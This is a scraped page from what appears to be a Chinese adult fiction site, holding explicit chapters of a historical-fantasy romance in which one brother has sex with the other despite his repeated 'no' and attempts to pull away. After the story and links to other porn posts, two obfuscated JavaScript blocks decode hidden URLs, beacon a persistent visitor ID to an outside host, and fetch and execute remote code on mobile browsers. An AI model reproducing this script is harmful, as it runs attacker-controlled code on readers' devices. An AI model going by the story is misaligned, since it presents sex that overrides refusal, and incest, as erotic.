手指翻动,技巧的对着指间的细致开始了一下又一下的套弄与折磨,一点点的迫着对方半软的器官变得粗硬肿胀,一点点的挺立抬头,一股兴奋到极点的情绪就这样攫住了他,让他顾不得其他,开始用着所有的技巧来逼迫出身下人的热情与欲望。

“嗯……”

楚云墨感觉到那只带着薄茧的手指抚过细致的茎身后落在了后方身体最薄的皮肤上,双丸还没有鼓起,软软的垂在后方,一被抚触就有种冒出鸡皮疙瘩的感觉。

楚云墨的声音让楚云铮只觉得一阵阵火热的热流在身体里急涌而出,飞速的向着小腹处-直达到挺起的肉茎上,热烫的感觉,心痒难耐的惊-喜,感动而深切的渴望,各种感觉混杂在一起,让他的气息也开始混乱了起来。

柔细光滑的布料在楚云墨赤裸的身体上挨擦而过,楚云铮的唿气热烈烫人。楚云墨睁着眼睛,看着楚云铮的眼眸漆黑深幽,越来越近,一直到彼此的唿吸交杂在一起。炽热的唇热的唇一下子烫到了他的唇瓣上,让他全身一震。

对方火热的舌探进了他的齿间,在楚云墨的口腔中巡视了一周后直接去追逐着他的舌头。

“唔……”

楚云墨闭上了眼睛,舌头被楚云铮含住,一直叼着啜出了唇边,被对方的唇瓣反复的摩擦着牙齿着。一阵阵细碎的挑吸,熟悉的热浪与对方熟悉的细腻的啃咬挑逗,都清晰到让他发抖。

感受着对方手掌的抚摸,身体被一点点的展开,一直到滚热的身体紧贴在了他的身上,楚云墨才发现,不知什么时候,楚云铮的衣服不知什么时候已经脱掉,粗硬的肉茎挺顶在了他的小腹处。

“嗯……”楚云铮的手掌抚到了楚云墨前胸的茱萸上,细致的敏感被对方一下下的摸按捏住,用食指和么指用力的揉搓。

温厚的手掌带着熟悉的粗糙感,而对方手指用力的搓动让那小巧的地方立刻挺起了一个小小的豆子。顶端像小石子一样硬实着,回应着楚云铮的热情。

“说啊,到底记不记得了。”唿吸扑在前胸,楚云铮在问问题时似乎就没想过会得到楚云墨的回答,在说完这句话后,他松开了楚云墨的舌尖,低下头,亲吮在了另一边的茱萸上。

像上次一样,他开始一边用力的揉捻,一边用舌头一下一下打着卷不断的吸吮着。楚云墨被挑逗的身上火烫烫的,脚趾都有些蜷曲的直缩,却被楚云墨分开了双腿,把顶端用力顶在了楚云墨的臀间。

热烫的气流在小腹处不断的盘旋着,楚云墨两处敏感被这种截然相反的挑逗方式逗弄的极为刺激,而楚云铮的顶端则在楚云墨的后穴处摩擦着。小腹处的青茎兴奋的滴落下透明的液体,深红色的器官因为高涨而起的欲望微微在空气中颤抖着。

像是感觉到了楚云墨的欲望,楚云铮原本顶在菊穴处的粗热的器官向上挑弄,两根挺起的欲望相击在一起,让楚云墨霍然一惊。

“哈!你……嗯……”

手掌迅速的抓住了两根对立着的器官,楚云铮开始上下一起搓弄着。修长的手指时不时的揉划过下方的双丸,上方的茎身被对方的欲望与手指同时摩擦,异样的快感让楚云墨的身体一下一下的向上挺着,火热的喘息在狭小的车厢越来越混乱,温度高涨到不行。

手指划摸着欲望,一下又一下的摩擦让楚云墨颤抖着吐出了更多的兴奋的液体。楚云铮低下头,轻轻的把楚云墨绻缩着的身体紧紧的抱搂在怀里,只有两人的欲望紧紧的被楚云铮抓握在手里,技巧的套弄着。

“哈……啊……不要……呃……我不行了……”发出了哀泣般的呻吟,楚云墨挺起了腰想往后缩却被楚云铮搂抱的更紧,无法控制的在对方的手掌间倾泄而出。

透明而黏白的液体一股股的射了出来,楚云墨失神的颤抖着,嘴里因高潮而失神的吐出了无意识的呢喃声。

细致的吻一个个的落在了楚云墨的发间额头面颊,楚云铮只觉得从心底满足着。明明,他甚至没有进入到楚云墨的身体,明明,他的欲望还高高挺立,可是他却有种自心底的满足感。这一次,是楚云墨心甘情愿的与他有着这样的亲密,这种说不出的感觉让他无法克制的把亲吻全部落在了楚云墨的身体上。

发间,额头,面颊,脖颈,肩膀,前胸,小腹。楚云铮细密的吻遍了楚云墨的全身。原本高潮过后,楚云墨在失神间微有些清醒,可是很快的,就被楚云铮细密落下的吻所包覆住。一个又一个的亲吻,一下又一下用力的吸吮着,用舌尖尝遍了身下人儿的每一寸肌肤,用牙齿轻啃着每一寸的细致。身体被温暖的细致的温柔包围着,让他全身都泛着红润的颜色。

“不……不要……”楚云墨轻声失拒着,扭动着下身,双腿被楚云铮分开,细嫩的大腿被对方烙下了的印记让楚云墨觉得全身都在被燃烧着。

细致的大腿肌肤白皙柔嫩,少见阳光的地方白得出奇,让楚云铮流连不忆,牙齿每啃咬一次就会流下浅浅的红色的印记,每吸吮一次就让那细嫩的肌肤变得更加敏感,让楚云墨双腿不断的摩擦着想闭合在一起,可是却被楚云铮的双手紧紧捏握着分得开开的,无法动弹。

被对方温热的唿吸与吮吸的啃咬让楚云墨半挺起了身体,在楚云铮的攻击下溃不成军。小巧的菊穴因为这样的刺激而半张半合着,一下下的收缩着,终于引得楚云铮吻了过去。

“哈啊……不要……”楚云墨失神的轻喊,刚张开的菊穴被高烫的舌头一舔,立即闭合在一起,可是却在闭合间被对方的牙齿啃咬了几下,马车勐得一颠,那啃咬一重,登时引得他失声尖叫,一股温热的液体不受控制的蔓延而出,喷了楚云铮一脸。

第068章(限)

被腥热的液体沾上脸颊时,楚云铮有一瞬间的怔愣,接着,他抬起头,楚云墨的脸颊因激情而红润之余,连耳朵都泛上了一抹羞赧的色彩。楚云墨用力的把双腿抽回来,双腿紧紧蜷缩着侧躺到车厢上,整个人像只泛红的虾子。

他自己也没想到,第二次的高潮居然会如此的快,只是一个用力的啃咬,已经让他无法自控,这样的身体,让他有些惧怕了起来。

他到底是怎么了?明明,他现在爱着的是凤君毅,可是为什么,在楚云铮勾起他的回忆后,那种无法掌控的感觉从身体到思想全部邮不得自己?他难道真的就这么饥渴吗?想到这里,他的脸色慢慢的变得有些苍白起来,身体缩成小小的一团,用手臂紧抱着双膝他觉得全身似乎都在发冷。

伸手抚了下脸上的液体,最后干脆直接抓起脱在一边的衣服把脸上的液体擦干净,在看到了楚云墨蜷缩的模样时,他心底思绪闪过,直接丢了手上的衣服向楚云墨压过去。

楚云墨早猜到了楚云铮不会给他冷静的思考的机会。因此,在他刚缩好身体时,楚云铮就跟随着压了过来,他心底对自己料到了对方的反应惊了一惊。在这个狭小的车厢内,密闭的空间里,楚云墨觉得自己似乎怎么也无处可逃。

微微的凉意,楚云墨只在蜷缩时感觉到了一点点,接着就被楚云铮包围住,热烫的身体烘烤着他,让他那丝凉意很快的就不见了踪迹。

熟衾而灵活的手指捏在了楚云墨前胸挺立的顶端处,细密的吻,随着柔软的唇一下下的落到了楚云墨的耳边。细细碎碎的亲昵感随着对方的行为在整个车厢内里缠绵不绝,惹得人脸红耳热。

楚云墨微微有些呜咽的颤抖,扭动着身体想躲避对方这样的亲昵,可是身体却被楚云铮牢牢的搂在了怀里,烫热的唿吸在耳后扑过,让他怕痒的直缩,被禁锢在楚云铮的怀里让他的瑟缩没有一点作用,白皙小巧敏感的耳廓开始泛起了红润,接着,颜色也开始越来越深。

楚云铮烙下了细密的轻吻时,眼睛依然盯着楚云墨不肯放,迷恋的眼睛着迷的看着楚云墨的耳后那一方白嫩,一点点的染上了红艳的色泽,最终他忍耐不住的含咬住那抹诱人,舌头用力的缠卷着那下方的柔软耳珠。

“呜……”楚云墨发出了模煳的鼻间,一个热烫粗大的硬物抵在了后臀处,一点点的挤入了双腿间,摩擦过臀间的沟壑,引得楚云墨的声音更是呜咽。

粗硬的器官散发的热度让楚云墨觉得直发烫,后穴不断的被摩擦而过,细致的皮肤被反复的顶抹,让他的腿夹得更紧,轻咬着唇,热辣的感觉从前胸一直蔓延到小腹。

楚云铮的动作不断,腰部一下一下前挺着施力,手掌下滑,已经射过了两次的地方,现在已经被之前的液体浸润成了一片湿,射出的黏液让楚云墨的毛发处一片粘腻,有的地方一簇一簇,有的还挂着那一滴滴的白浊,楚云墨的青茎,已经开始在这样的摩擦下慢慢的再度挺起。

微微分开了楚云墨的臀部,楚云铮微微翻了个身,把楚云墨拖抱着向上托了托,接着,左手离开了在挑逗的前胸处的柔硬,向下抓握住了楚云墨的青茎。

“怎么,两次了,还想要?”楚云铮戏谑的说。

“呜……你胡……胡说……”脸颊飞红,楚云墨紧紧咬着唇。

感觉到了怀里的身体更加的热了,楚云铮的唇角有一抹邪邪的笑意,在摩擦间,直接抽回了肉茎后直接向着那张合不断的小口塞了过去。

“不要!”让楚云墨头皮发麻的酸胀与疼痛几乎让他马上就挣扎着想逃过对方的动作。却被楚云铮一把抓握住了腰间。

“不要?”楚云铮的眼神一如从前的深没沈,只是当中,除了欲望外,还有着更深沈的,类似怀恋与痛楚的感情。

粗糙的指尖,在两人相连的地方抚摸,欲望只进入了一小半的顶端,没经润滑的地方僵硬的含咬着那塞进来的硬物,皮肤被撑得薄薄一片。

楚云铮的动作让微微痛楚的地方传来了深切的麻痒,楚云墨的身体直颤,而楚云铮的手指掌,却绕过了楚云墨的身体,两只手围着楚云墨的腰间把对方的青茎用双手套握住。

小巧的地方已经胀成了深红,因为前两次的射出而滑滑的,楚云铮开始一下一下的套弄了起来,并在套弄时偶尔用指腹揉弄着细致的嫩芽上方的孔洞。那里正一点点的吐着透明中带着白色的液体。

“呃……”

细致的脖子仰起,腰部使力的后缩着让楚云铮握得更贴紧一些,楚云墨觉得全身的热血都向着对方套开的器官处涌过去,让他的腰都一下子软了下去。

双腿不自觉得的随着对方的动作而互相摩擦,后穴也开始紧缩了一下惹得楚云铮轻喘了声后欲望开始涨大。勉强的含咬着楚云铮的欲望,楚云墨感觉到了后方的物什有涨大的意思。

塞入后穴的欲望轻轻向后抽出一点,接着向前顶过来,又抽出一些,再用力的顶进去一下一下,那柔软的穴口处的皮肤一点点的放松变软,而前方的挑逗也让楚云墨的眼眸中露出了濡湿的氤氲。

“哈……不要……放……嗯……呃……好难过……啊……放手……”楚云墨嘴里不断的拒绝着,可是身体却已经不由自主的随着对方的节奏摆动着,欲望烧的炽烈,而身后的人掌控着他的身体他的反应。

“小家伙,哪里难受?你想要什么?快说。”熟悉的捻弄方式,熟练的挑引摆弄,如同被魔附身一般。从前淡淡的记忆突然的就印在了脑海里。

“大哥……啊……不……不行……”因为湿滑而让楚云铮的套弄越来越快,几乎马上就要到达顶的刺激让楚云墨微微张着唇,眼睛失神的看着前方身体开始僵硬。

第069章(限)

“好……大哥知道了,大哥现在就喂你给你吃好东西。”说着和上次在马车里几乎差不多的挑逗词语,楚云墨的手指划过小巧的穴口,接着,在楚云墨马上要高潮时残忍的松开了前方套弄的手掌,在楚云墨失望的怨叹而挣扎的失声喊出不要时,身下用力的挺了过去。

“不……哈……呃……”

被异物感与身体的冲击刺激的身体向前弹动,熟悉的做爱手段让楚云墨失神的转头无意识的看了楚云铮一眼。也许,他刻意的遗忘着与楚云铮有关的事物,但是,那些记忆,显然只是藏得更深罢了。在被这样的挑引下,那些记忆倾巢而出,让他无法拒绝无法反抗的一一生受。

而这一眼,也让在他身后半禁锢着他的楚云铮几乎疯狂。那双眼睛,带着潋滟的水光,眼眸因为快感而有些无意识的挑起,身下的肉茎在顶进了大半根后,就因为楚云墨的紧窒而停了下来,深深吸了一口气,楚云铮开始用力的向楚云墨的深处顶了过去,把肉茎最后剩下的小半一分分的探进去。

“不要……呜呜呜……”

因为姿势的关系,楚云墨的后穴原本是紧紧闭合着,徒然分开后被用力顶入的快感刺激的他头皮都在发麻,小巧的后穴如同小嘴儿一般,努力的张开后又紧紧咬住那个进入自己身体的硬物。

楚云墨的身体几乎是痉挛的,而楚云铮深深吸着气额头也因为被那柔软紧窒的含咬而冒着汗,一直到整个肉茎都被含咬进了楚云墨的后穴,两个人都紧张之余舒了口气。放松下来的两人,身体的汗滴滴落下,感觉到了楚云墨的紧密,里面的热度与柔软让楚云铮再也忍耐不住,而楚云墨在他完全进入后放松的轻哼更让他感觉连心都是痒的。

微微扭动了几下深入到楚云墨后穴的肉茎,在感觉到了对方有力的紧缩后,楚云铮开始抽动起了粗胀的器官,抽撤转动富有节奏,感受着对方柔软的紧窒的同时,手上的挑逗的动作并没有停止。

手指的指尖揉搓着前胸的红肿乳尖,另一只手熟练的开始套弄着楚云墨前方挺起的欲望。原本就挺立的器官只套揉了几个就引来了顶端处的黏液流淌。

车厢狭小又被紧扣在楚云铮的怀里,楚云墨的双腿无法分得太开,这样的姿势让对方出入抽动摩擦着沟壑间的细致的皮肤与敏感的会阴处,每一下的抽动都能带动着双丸间的细薄皮肤。

“啊……啊……轻……哈,轻一点……啊……”

下身处的摩擦传来的快感与被顶抽的快感结合在一起,让楚云墨几乎就是崩不成军,咬着唇,他的双眼已经失神,嘴唇微启,唇间的细密呻吟越来越大。

后臀不自禁的向后顶过来,感受着楚云铮的火热占有,前方被对方反复爱抚的欲望,几乎所有的敏感处都被对方细致小心的仔细对待,让他头皮发麻小腹发沈的临界点几乎马上就要到达。

然而,这时,楚云铮却突然停下了手上的动作,不只这样,他的手掌紧紧箍着楚云墨的欲望根部,已经一跳一跳的想喷发的欲望就这样被生生的扼止住,惹得楚云墨的心都痒得快要跳出来了,手情不自禁的抓紧了抓握住他欲望的楚云铮,身体发着抖。

“呜……放……放开……”

“唿……唿……”楚云铮粗重的喘息一直在楚云墨的耳边响起,热唿唿的气息让他整抖得更是厉害,而对方的话让他羞窘得几乎想挖坑土把自己埋起来。

“想要射了?好啊,你知道我想听什么,说了,你就能射。”

楚云铮低沈的说,另一只手抓着楚云墨抬得高高的腿,就着相连,把楚云墨翻转了半个身体近一百八十度,惹得楚云墨失神的叫了一声,后穴立即把那疯狂摩擦他肠壁凸起那一点的肉块咬得紧紧的,不肯有一点点的放松。

“这么舒服?”紧掐着楚云墨的欲望,楚云铮残忍的调笑了一下,接着,身体开始规律的深出深入,每一下都顶得楚云墨的菊穴深处,每一下都是紧对着那小敏感的一点,让楚云墨被接连的快感炸得要疯了一样。全身开始泛出了深沈的紫红色泽,周身打摆子一样的发着抖。

“哈啊……啊……不……不要……”感觉到了那如烟火般绽放的快感在脑海里爆炸着,身体在紧紧咬含着那胀大的器官时感觉得到对方那一下紧似一下的脉动。可是,不够,身体的内部传来的绵延不断的麻痒感正在逐渐的堆积着,让他渴望着对方的大力捣伐时,更叫嚣着想发泄出他的欲望。

楚云墨的眼睛含着泪,最终败给了这怎么禁不止的欲望。放弃的闭上了眼睛,他终于全身发着颤的呜咽出声。

“哥哥!不成了,我不成了,让我射吧!啊啊啊……求你、求你了!”

听了楚云墨的求饶,早就被对方后穴的拧绞搞得挺不住的楚云铮也无法忍耐,低下头,他在说出了一句话后松开了手。

“墨儿,我的乖墨儿,还记得吗?我说过的,我们是世上最亲的人,即使是‘他’,也超越不了我们的亲密”

在楚云墨的身体颤抖间,楚云铮开始了大力的抽插,疯狂的力度让整个车板都在嘎吱做响,楚云墨的青茎,因为这样强烈的刺激而喷射而出,而楚云铮的手掌不但没有离开楚云墨的肉茎,反而乘着对方射精时拼命的用喷出的液体润滑的用力套弄着,弄得楚云墨更加的尖锐的失声求饶。

“不……不要摩了,要死了……痒死了……哈啊……”

已经喷不出什么的青茎开始一阵阵的涌动着抗议的痉孪,伴随着楚云墨紧缩着肠壁的动作,楚云铮也喷出了火热的液体,高温的液体烫得楚云墨的身体直到对方借着射精还在顶弄间发出了噗噗的声音,羞愧与快感疲惫相交,让楚云墨立刻毫无悬念的在这种高强度的欢爱中晕了过去。

直到怀里的身体一动不动,楚云铮才自高潮的疯狂中清醒过来。怀里的人身体开始泛凉,而他连忙把一边箱子里的锦被拉了出来,盖在了怀中楚云墨的身上。

低下头,泛着红润的脸颊歪在他的怀抱里,楚云铮低头亲了亲,滑滑的触感一如从前。

“墨儿,放心吧,这一次,我一定不会再放开你!”

昏沈沈的楚云墨,似乎听到了楚云铮的呢喃,身体缩了缩,靠在了楚云铮的胸膛上,人体的温暖让他蹩着的眉头微微敞开,他的唿吸渐渐的平稳了下来……

……

车队还在不断的行进着,飞羽城渐渐的越来越近,而凤国的战争也因为凤国的两位侯爷的回归而产生了不可逆转的影响……

第070章

侍卫的队伍伴着马车一直在官道上疾驰,伴着侍卫们的时不时的低声喝马的声音,离飞羽城越来越近。

距离飞羽城渐渐的近了,而因为这种近,楚云墨的神经也开始越绷越紧。与之前不同,那次之后,已经好几天了,可是楚云铮没有再对他有过亲密。当然,态度一如既往,暧昧不明,可是,对方明显的收敛了几分的神态让楚云墨多少松了口气。

事情发生的这样突然,让他毫无预警的陷入了自我厌恶与自我唾弃的矛盾里。他觉得自己是错的,可是又觉得自己的感情还是有些不对。他现在甚至有些不明白,自己爱的到底又是谁。

很多时候,他甚至会回想到穿越而来在侯爷府中时的一点一滴。二夫人、楚云炫、楚云曦还有楚云铮。他一丝丝的回想,一点点的想念。想的越多,就更加的迷惑。

他并不是滥交的人,他也是有感情洁癖的,可是自己的一些反应让他不明白,他到底是怎么样的。对凤君毅,他可以确定的就是他绝对会死心塌地的和对方过上一辈子,可是,这样的感觉就是爱吗?凤君毅对他是有保留的。

这一点他感觉得到,他甚至清楚的明白,凤君毅对他的不放心,对他的一些无可奈何。从一开始,凤君毅对他的逗弄,他对凤君毅的恐惧与厌恶,到后来对凤君毅的痛恨,最后是被凤君毅打动,凤君毅对他的温暖与爱,他不可能割舍,那些感情已经深入了他的骨髓与灵魂。

而楚云铮,那人伤害了他,让他在动心的一刻就尝到了心痛。心初萌动就被人重重的辗压终至成尘,他无法否认,因为爱得深,所以伤的深,因为在乎所以心碎,也因为他,他最终变得绝望。

而现在,他的心,之所以活过来,却不是因为他,而是另一个人。他不知道他会和凤君毅走多久走多远,但是,他不想离开凤君毅,他想只陪着他,到终老。他相信,即使是凤君毅抛下了他,他一个人,也会坚强的走到生命的尽头。

楚云墨越想越多,越想越坚定,只是,他不知道,有些事情,不是你计划得好想得清楚就可以如愿以偿,他以为的永远,也许,别人却觉得,那并非幸福。

他只是一遍又一遍的想着,一遍又一遍的在心底确认着自己的情感自己的所有,他对楚云铮的感情,他归于从前的感情残余。他觉得,那就是一些余温罢了。

时间在他缩在马车中,楚云铮在外面带队加速赶回飞羽城中飞逝而过,因为着急,长长的路途被他们硬是缩短了好多,只不过才过了不到五天,他们就快到了离飞羽城相当近的再来镇。

那个小镇,很小,并且,镇子很是破旧。多年前楚云墨曾与楚尔挚去过的,并且,也留下了很不好的记忆,只是他没想到,那个镇子,几年的时间,已经变得比从前大上许多繁华上许多,并且,有一个让他更加深刻,深刻到刻骨铭心的事,就会在这里发生。

第071章凤王再来(限)

再来镇,原本,只是飞羽城附近的一个很偏僻的小镇。只是,因为这里是方圆百里内除了飞羽城外唯一的镇子而开始慢慢的繁华了起来,前段时间,路过这里的军队众多,并且这里是离飞羽城最近的补给,这让这里的人们更是因此大大的赚了一笔。

从前破败的房屋早就不见了踪影,各个客栈小店开得红红火火,就连曾经只在一个月才有一次的集市也改成了天天热卖。就这样的如火如荼的热闹下,一个神秘的军队却在清朗白日下悄悄的占据了这个小镇。

只是,那是一支相当精锐的队伍,镇里的人丝毫没有察觉到一丝异样,只是依旧在叫卖着做自己的生意,没有注意到,进城而来的客商与以往大不相同,几乎不约而同的带着危险的气息。

……

当再来镇的轮廓映在眼中时,楚云铮也松了口气,这样,就很会到飞羽城,这样,他也许……沈浸在自己思绪中的楚云铮,眼神在看到了那个站在镇子入口不远处的身影时,不由自主的缩了缩眼睛。

一身黑色的上好棉布制成的衣服,头上也带着素气的黑色发带,全身上下,恐怕只有腰间的羊脂白玉螭龙玉佩能看得出此人出身宝贵吧。

一双凤目眼角几乎斜飞入鬓,眼睛带着阴鸷的利芒,在看到了楚云铮时,眼睛中的神色复杂难懂。

“他呢?”唇角微翕,凤君毅的声音清晰的在楚云铮的耳边响起。

楚云铮的手指紧紧掐握住了缰绳,眼睛危险的微微眯了起来,嫉妒愤怒矛盾与杀意在他的眼睛中不断的闪过,只是那股子要把对方马上毙与掌下的冲动在凤君毅的身边的黑衣暗卫队突然现了身后被他强自压了下去。

不行,现在,还不是时候。

“车上。”楚云铮深深吸了口气,用唇形对着凤君毅说,同时手臂抬起一挥,车队慢慢的停了下来。

感觉到了车子停下时,楚云墨正趴在车厢里半梦半醒。整个人都沈浸在了黑色的梦里,身体微微酸涩着,而心里却因为那个梦而感觉到了深刻的痛楚。

他,似乎感觉到了心在痛。那个梦里的人,居然会决绝的离开,头也不回?真是个糟糕的梦!就在这心都隐隐做痛的时候,马车停了下来。

感觉到了车子的停顿,楚云墨有些困倦的微微睁眼,眼睛还因为睡意而微微酸涩着,这让他的头脑都有些不清醒,也因为如此,当那个梦中的男人掀开车帘上了马车时,他还以为自己在做梦。

熟悉的气息在车厢内弥漫着,明明他一个人睡可以滚来滚去的地方突然之间变得狭窄起来,接着,一个身体重重的压在他的身上,让他登时一窒,接着,那张熟悉的脸庞低下来,鼻尖抵着鼻尖,与他紧密相贴。

“墨儿。”那个连声音都会让他颤抖的男人如是说。

他回应了吗?楚云墨自己也不知道,只是感觉到了对方张唇把他的唇瓣全部咬含住,用舌尖亲昵的来回扫动刷着他的双唇。

嘴唇立刻变得麻酥酥的,对方的鼻息唿在嘴上,让他从脸颊到耳根都变成了火辣辣的滚烫,热度高得让他自己都不可置信。

火热而灵活的舌头推开了他紧闭的唇冲进了唇间,肆意的在腔中到处巡视,而楚云墨也终于瞪圆了眼睛,眼中尽是不可置信。

凤君毅!

怎么可能????

手掌在楚云墨的身上游移抚摸着,解开了腰带手掌直接探进了楚云墨的衣服中,细致的皮肤被有着薄茧的手掌掌心摩擦着,身体熟悉的热潮开使逐渐的上涌,楚云墨的身体条件反射的缩进了凤君毅的怀里。

嘴里的舌头在他的舌尖纠缠着,楚云墨在确定了对方的身份后眼眸中波光闪耀。他想说话,可是对方吻得他根本没有吐出一个字的机会,而且,对方熟知他的敏感,手掌只在他身上摩擦揉按了几下后,他已经是全身绵软没有一丝力气的瘫在了那里,任凭着对方予取予求。

凤君毅把怀里的楚云墨紧紧搂住,手掌伸进了对方的衣服里,在对方的衣服间反复的揉搓着。他不知道,他居然已经如此的想念,想念到想把对


上一篇:【对面艺术学校的淫荡姐妹】【完】

下一篇:偷情的人妻10P


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};